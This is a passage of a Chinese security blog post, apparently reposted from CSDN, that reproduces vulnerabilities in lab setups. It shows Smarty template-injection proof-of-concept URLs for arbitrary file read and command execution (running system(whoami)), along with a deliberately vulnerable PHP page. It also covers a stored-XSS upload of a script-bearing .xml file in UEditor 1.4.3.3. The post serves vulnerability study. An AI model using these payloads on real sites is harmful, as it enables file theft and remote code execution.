class="hide-preCode-box">

编译后的文件为.php文件,在该文件中加入 ,再次尝试访问smarty配置文件:
image-20250116203613959

  • ok,认识完smarty后,接下来我们聊一下使用smarty可能产生的安全问题。
    已知template_c下的php文件为最终提供服务文件,若渲染的页面文件用户可控,那我们是不是就可以利用模板引擎渲染执行我们所指定的命令呢?
    思路有了,我们来修改一下smarty配置文件,使display中的值也就是渲染文件可控:

    
    
    require '../smarty/smarty-3.1.38/libs/Smarty.class.php';
    
    $smarty = new Smarty();
    
    $smarty->setTemplateDir('./templates');
    $smarty->setCompileDir('./templates_c');
    $smarty->setConfigDir('./configs');
    $smarty->setCacheDir('./cache');
    //$smarty->testInstall();
    
    $smarty->assign('title', 'Elephant');
    $smarty->assign('body', '这是一只可爱的大象!');
    $smarty->assign('pic', '🐘');
    
    //$smarty->display('smarty3demo.tpl');
    $smarty->display($_GET['view'].'.tpl');
     class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"> class="hide-preCode-box">

    修改可控参数,实现任意文件读取,测试poc:

    /Smarty3Demo1.php?view=string:{include file='D:/ser.txt'}
     class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}">

    Result:
    image-20250116214916930
    实现命令执行,测试poc:(注:实现该poc,需smarty版本 < 3.1.39)

    /Smarty3Demo1.php?view=string:{function name='x(){};system(whoami);function '}{/function}
     class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}">

    Result:
    image-20250116221553323
    同样实现命令执行,测试smarty版本:3.1.18 & 4.5.5,测试poc:

    /Smarty4Demo2.php?view=string:{$smarty.template_object->smarty->_getSmartyObj()->display('string:{system(whoami)}')}
     class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}">

    Result:
    image-20250116222836152

  • 本文对基于smarty所产生的安全问题介绍的比较简单,主要是漏洞复现,poc也仅列举了3个。若想进一步了解,可参考:https://xz.aliyun.com/t/11108

  • UEditor

    1. 什么是UEditor?
      UEditor是由百度web前端研发部开发的富文本web编辑器。只不过目前已停止更新维护,最新版本也停留在了2016年8月10日所发布的1.4.3.3版本,项目地址:https://github.com/fex-team/ueditor
      同样,通过简单的demo,来了解一下UEditor编辑器:

      DOCTYPE HTML>
      <html lang="en-US">
      <head>
      	<meta charset="UTF-8">
      	<title>ueditor demotitle>
      head>
      <body>
      	
      	<script id="container" name="content" type="text/plain">script>
      	
      	<script type="text/javascript" src="../ueditor/ueditor1_4_3_3-utf8-php/ueditor.config.js">script>
      	
      	<script type="text/javascript" src="../ueditor/ueditor1_4_3_3-utf8-php/ueditor.all.js">script>
      	
      	<script type="text/javascript">
      	    var ue = UE.getEditor('container');
      	script>
      body>
      html>
       class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"> class="hide-preCode-box">
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
      • 10
      • 11
      • 12
      • 13
      • 14
      • 15
      • 16
      • 17
      • 18
      • 19

      访问该文件,就可以看到被引用的UEditor编辑器:
      image-20250117133527507

    2. UEditor的安全问题
      由于笔者本人水平有限,因此这里仅对由UEditor文件上传导致存储XSS漏洞做一复现(复现完,感觉这洞比较low啊。。。)。若想详细了解UEditor的安全问题,可以在网上找找别的大佬的文章。
      UEditor版本,php v1.4.3.3:
      image-20250117161025260
      burp抓一个图片上传数据包:
      image-20250117162805989
      接下来,我们尝试修改一下数据包,上传一些其他类型的文件:
      image-20250117175813848
      访问一下刚上传的test.xml文件:
      image-20250117180150951
      这里给出插入代码:

      <html xmlns="http://www.w3.org/1999/xhtml">
          <script type="text/javascript">
            // 当页面加载时,触发弹窗
            window.onload = function () {
              alert("FBI WARNING!!!");
            };
          script>
      html>
       class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}">
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8

      至此,漏洞复现完成!至于为什么我感觉这洞比较low呢,是因为上传的文件类型仍有限制,不是你想传什么文件就传什么文件,文件上传类型遵循如下白名单:
      image-20250117180640689
      可以看到.xml文件就在白名单中,也就是说,即使不搞上面的那些花哨操作,直接上传含有恶意代码的.xml文件也是可以实现存储XSS的,而一旦从白名单中将.xml删除,上面的操作也会失效。至于该漏洞的应用场景,可能为开发者隐藏掉了ueditor中的附件上传选项,且白名单未做限制的情况吧。

    至此,本章内容结束!

  • data-report-view="{"mod":"1585297308_001","spm":"1001.2101.3001.6548","dest":"https://blog.csdn.net/qq_62040731/article/details/145212811","extend1":"pc","ab":"new"}">>
    注:本文转载自blog.csdn.net的lwd_up的文章"https://blog.csdn.net/weixin_44630490/article/details/115196786"。版权归原作者所有,此博客不拥有其著作权,亦不承担相应法律责任。如有侵权,请联系我们删除。
    复制链接

    评论记录:

    未查询到任何数据!